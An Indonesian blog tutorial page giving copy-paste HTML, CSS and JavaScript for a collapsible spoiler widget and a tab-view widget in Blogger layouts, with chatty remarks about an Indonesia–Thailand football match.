<div class="spoiler"> <div class="spoirel">Judul Widget Anda<input onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = 'TUTUP'; this.value = 'tutup'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = 'buka'; this.value = 'buka'; }" style="background: #f9f9f9; border: 0px solid #000; color: #8B4513; font-family: arial; font-size: 10px; margin: 0px;font-weight:bold;text-transform:uppercase;float:right;" type="button" value="LIHAT" /></div> <div style="border: 0px inset #fff; color: blue; margin: 0 10px 0px 10px; text-align:center;padding: 0px;"> <div style="display: none;"> <br />Masukan Kode Widget Anda</div> </div> </div><span style="font-size: xx-small;"><i><b>Get This <a href="http://fbacklink.blogspot.com/2013/12/cara-membuat-spoiler-keren-tanpa-edit.html/" target="_blank" rel="dofollow" title="widget">Widget</a></b></i></span>

Pilih simpan /save
Selesaiiii Horeeee horeee horeee

Sampai disni dulu tutor kali ini, ane mau nonton indonesia lawan thailand dulu
#Glory Glory Indonesia #Forza INDONESIA

Live DEMO

DEMO

Cara Buat Tab View keren tanpa Edit HTML v2

2013-12-21T12:24:00.001+07:00

Hi sahabat blogger yang baik hatinya, nah saya ingin melanjutkan tutorial yang sebelumnya ane post tentang Cara Buat Tab View keren tanpa Edit HTML. Sekarang ane mau post yang versi keduanya nih, setelah oprak oprek kode CSS selama 3 jam kini saya post dan berbagi kepada para pembaca blogger mania .

Langsung ajah nih kita jalankan ke garis awalnya
Buka Blogger anda di Blogger.com
Pilih Layout > Pilih Add Element/Tambah Element
PIlih HTML/Javascript
Masukan kode ini :

<style>
div.TabView div.Tabs
{
height: auto;
overflow: hidden;
}
div.TabView div.Tabs a
{
float: left;
display: block;
width: 95px; text-align: left;
height: 26px;
padding-top: 3px;
vertical-align: middle;
border: 3px solid #eeeeee;
border-bottom-width: 0;
text-decoration: none;
font-family: "Times New Roman", Serif;
font-weight: 900;
color: #fff;
}
div.TabView div.Tabs a:hover, div.TabView div.Tabs a.Active
{
background-color: #0054bb;
}
div.TabView div.Pages
{
clear: both;
border: 3px solid #eeeeee;
overflow: hidden;
background-color: #f5f5f5;
}
div.TabView div.Pages div.Page
{
height: 100%;
padding: 0px;
overflow: hidden;
}
div.TabView div.Pages div.Page div.Pad
{
padding: 3px 5px;
}</style>

<form action="tabview.html" method="get">
<div class="TabView" id="TabView">
<div class="Tabs" style="width: 350px;">
<a><h2>Tab1</h2></a>
<a><h2>Tab2</h2></a>
<a><h2>Tab3</h2></a>
</div>
<div class="Pages" style="width: 100%; height: 200px;">

<div class="Page">
<div class="Pad">

Tab 1|Tab 1|
</div></div>

<div class="Page">
<div class="Pad">

Tab 2|Tab 2|
</div></div>

<div class="Page">
<div class="Pad">

Tab 3|Tab 3|
</div></div>
</div>
</div>
</form>
<script type="text/javascript" src="http://yourjavascript.com/102311116102/tabview.js"><

/script><script type="text/javascript">
tabview_initialize('TabView');
</script>

Klik Simpan/Save

*Note*

Ganti kata yang berwarna merah dan biru

Nah sampai disini dulu tutor yang saya bagikan jangan lupa komentar yah gan terus terus kunjungi blog saya yang sederhana ini yh